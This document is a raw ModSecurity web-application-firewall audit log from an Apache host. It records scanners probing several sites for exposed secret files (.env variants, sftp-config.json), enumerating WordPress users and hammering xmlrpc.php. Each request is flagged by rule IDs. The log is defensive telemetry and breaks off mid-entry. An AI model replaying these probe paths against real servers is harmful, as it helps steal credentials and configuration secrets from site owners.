https://www.getcalley.com/wp-json/wp/v2/users/ accept-encoding: gzip, br cdn-loop: cloudflare; loops=1 x-forwarded-proto: https cf-connecting-ip: 41.191.224.162 cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 cookie: wordpress_test_cookie=WP%20Cookie%20check --210fa70e-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.2.28 X-Robots-Tag: noindex Link: <https://www.getcalley.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Vary: Origin,Accept-Encoding Content-Encoding: gzip Content-Length: 124 Connection: close Content-Type: application/json; charset=UTF-8 --210fa70e-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.getcalley.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE8-KbsEVBap6l1Fvp1AgAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023721266274 329248 (- - -) Stopwatch2: 1750023721266274 329248; combined=2039, p1=322, p2=1624, p3=0, p4=0, p5=93, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --210fa70e-Z-- --f8db3f5f-A-- [16/Jun/2025:03:12:03.431332 +0530] aE8-Kol8S04UZ4l67-ne0AAAAAk 185.177.72.210 40082 127.0.0.1 7081 --f8db3f5f-B-- GET /app/code/community/Nosto/Tagging/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f8db3f5f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f399cb59520a1d6f5c3ca5fd48ee60171750023723; expires=Sun, 15 Jun 2025 22:42:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f8db3f5f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/code/community/Nosto/Tagging/.env"] [unique_id "aE8-Kol8S04UZ4l67-ne0AAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023722716396 714998 (- - -) Stopwatch2: 1750023722716396 714998; combined=1812, p1=318, p2=1398, p3=0, p4=0, p5=95, sr=74, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f8db3f5f-Z-- --a4f07704-A-- [16/Jun/2025:03:12:06.115202 +0530] aE8-LYl8S04UZ4l67-ne0QAAAAk 185.177.72.210 40164 127.0.0.1 7081 --a4f07704-B-- GET /:8080/src/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a4f07704-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2320d2f0640b588203fad69f87e1e7131750023725; expires=Sun, 15 Jun 2025 22:42:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a4f07704-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/src/.env"] [unique_id "aE8-LYl8S04UZ4l67-ne0QAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023725421165 694132 (- - -) Stopwatch2: 1750023725421165 694132; combined=1903, p1=388, p2=1413, p3=0, p4=0, p5=101, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a4f07704-Z-- --0d3f1e27-A-- [16/Jun/2025:03:12:08.913438 +0530] aE8-MB-kH31pk4mNbsU_hwAAAAo 172.69.170.145 40284 127.0.0.1 7081 --0d3f1e27-B-- GET /wp-json/wp/v2/users/ HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.170.145 X-Forwarded-For: 41.191.224.162 Connection: close cf-ray: 95053c4f28338a3e-NBO cf-ipcountry: KE referer: https://www.getcalley.com/wp-json/wp/v2/users/ accept-encoding: gzip, br cdn-loop: cloudflare; loops=1 x-forwarded-proto: https cf-connecting-ip: 41.191.224.162 cf-visitor: {"scheme":"https"} user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 cookie: wordpress_test_cookie=WP%20Cookie%20check --0d3f1e27-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.2.28 X-Robots-Tag: noindex Link: <https://www.getcalley.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Vary: Origin,Accept-Encoding Content-Encoding: gzip Content-Length: 124 Connection: close Content-Type: application/json; charset=UTF-8 --0d3f1e27-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.getcalley.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE8-MB-kH31pk4mNbsU_hwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023728636919 276612 (- - -) Stopwatch2: 1750023728636919 276612; combined=2017, p1=336, p2=1571, p3=0, p4=0, p5=110, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0d3f1e27-Z-- --073d4b10-A-- [16/Jun/2025:03:12:55.830639 +0530] aE8-XorLgrklqy57Kk2cuAAAAAg 128.199.112.101 36364 127.0.0.1 7081 --073d4b10-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --073d4b10-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --073d4b10-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8-XorLgrklqy57Kk2cuAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023774898921 931780 (- - -) Stopwatch2: 1750023774898921 931780; combined=2260, p1=361, p2=1559, p3=40, p4=50, p5=156, sr=97, sw=94, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --073d4b10-Z-- --3d0c5604-A-- [16/Jun/2025:03:13:25.383243 +0530] aE8-fLsEVBap6l1Fvp1AogAAAAQ 185.177.72.210 35302 127.0.0.1 7081 --3d0c5604-B-- GET /:10000/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3d0c5604-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b18dea04bdb786cbef4c83c41989785d1750023805; expires=Sun, 15 Jun 2025 22:43:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3d0c5604-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/configura/.env"] [unique_id "aE8-fLsEVBap6l1Fvp1AogAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023804648759 734545 (- - -) Stopwatch2: 1750023804648759 734545; combined=1967, p1=432, p2=1444, p3=0, p4=0, p5=91, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3d0c5604-Z-- --0b859933-A-- [16/Jun/2025:03:13:27.371503 +0530] aE8-fol8S04UZ4l67-ne8gAAAAk 185.177.72.210 35386 127.0.0.1 7081 --0b859933-B-- GET /:8080/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0b859933-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7e291282764688a5f3243b1231c39ab21750023807; expires=Sun, 15 Jun 2025 22:43:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0b859933-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/konfig/.env"] [unique_id "aE8-fol8S04UZ4l67-ne8gAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023806724973 646603 (- - -) Stopwatch2: 1750023806724973 646603; combined=1844, p1=370, p2=1376, p3=0, p4=0, p5=97, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0b859933-Z-- --6ffbf258-A-- [16/Jun/2025:03:13:35.008110 +0530] aE8-hol8S04UZ4l67-ne9gAAAAk 185.177.72.210 55606 127.0.0.1 7081 --6ffbf258-B-- GET /sftp-config.json HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6ffbf258-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d0b96172e6ee54e18aa5b820851fc87d1750023814; expires=Sun, 15 Jun 2025 22:43:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6ffbf258-H-- Message: Warning. Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/sftp-config.json"] [unique_id "aE8-hol8S04UZ4l67-ne9gAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023814337022 671161 (- - -) Stopwatch2: 1750023814337022 671161; combined=1843, p1=347, p2=1416, p3=0, p4=0, p5=79, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6ffbf258-Z-- --d417164d-A-- [16/Jun/2025:03:13:35.989981 +0530] aE8-h32GhYywD7zZgx76xAAAAAM 185.177.72.210 55642 127.0.0.1 7081 --d417164d-B-- GET /owncloud/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d417164d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4520c78477035cf8a2d5b095173880501750023815; expires=Sun, 15 Jun 2025 22:43:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d417164d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/owncloud/.env"] [unique_id "aE8-h32GhYywD7zZgx76xAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023815332519 657593 (- - -) Stopwatch2: 1750023815332519 657593; combined=1868, p1=354, p2=1377, p3=0, p4=0, p5=136, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d417164d-Z-- --1f185b45-A-- [16/Jun/2025:03:13:37.951333 +0530] aE8-iUNwpNEMJppxC49SaAAAAAI 185.177.72.210 55752 127.0.0.1 7081 --1f185b45-B-- GET /:8080/sites/all/libraries/mailchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1f185b45-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=935516f35bea890093c3f079af60d0691750023817; expires=Sun, 15 Jun 2025 22:43:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1f185b45-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/sites/all/libraries/mailchimp/.env"] [unique_id "aE8-iUNwpNEMJppxC49SaAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023817309191 642204 (- - -) Stopwatch2: 1750023817309191 642204; combined=1905, p1=397, p2=1419, p3=0, p4=0, p5=89, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1f185b45-Z-- --ad3fea18-A-- [16/Jun/2025:03:13:55.690866 +0530] aE8-mol8S04UZ4l67-ne_gAAAAk 128.199.112.101 56138 127.0.0.1 7081 --ad3fea18-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ad3fea18-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ad3fea18-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8-mol8S04UZ4l67-ne_gAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023834753160 937760 (- - -) Stopwatch2: 1750023834753160 937760; combined=2037, p1=365, p2=1261, p3=45, p4=65, p5=183, sr=107, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ad3fea18-Z-- --3dc80663-A-- [16/Jun/2025:03:14:35.095734 +0530] aE8-wn2GhYywD7zZgx765QAAAAM 185.177.72.210 48882 127.0.0.1 7081 --3dc80663-B-- GET /:8181/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3dc80663-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b4ba42d1727d805124729d68c0dcc73a1750023874; expires=Sun, 15 Jun 2025 22:44:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3dc80663-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.dev"] [unique_id "aE8-wn2GhYywD7zZgx765QAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023874446147 649650 (- - -) Stopwatch2: 1750023874446147 649650; combined=1904, p1=374, p2=1430, p3=0, p4=0, p5=100, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3dc80663-Z-- --190bfe0f-A-- [16/Jun/2025:03:14:36.113374 +0530] aE8-w9kGqt_oHz6gRVdJvAAAAAw 185.177.72.210 48926 127.0.0.1 7081 --190bfe0f-B-- GET /elmah.axd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --190bfe0f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7628629ca47f050a6f6e7afbd2548a261750023875; expires=Sun, 15 Jun 2025 22:44:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --190bfe0f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/elmah.axd"] [unique_id "aE8-w9kGqt_oHz6gRVdJvAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023875427745 685706 (- - -) Stopwatch2: 1750023875427745 685706; combined=1860, p1=329, p2=1423, p3=0, p4=0, p5=107, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --190bfe0f-Z-- --e1a69e7c-A-- [16/Jun/2025:03:14:38.828200 +0530] aE8-xhAGYpjnkyifC9Yg6gAAAAU 185.177.72.210 49026 127.0.0.1 7081 --e1a69e7c-B-- GET /.env.development HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 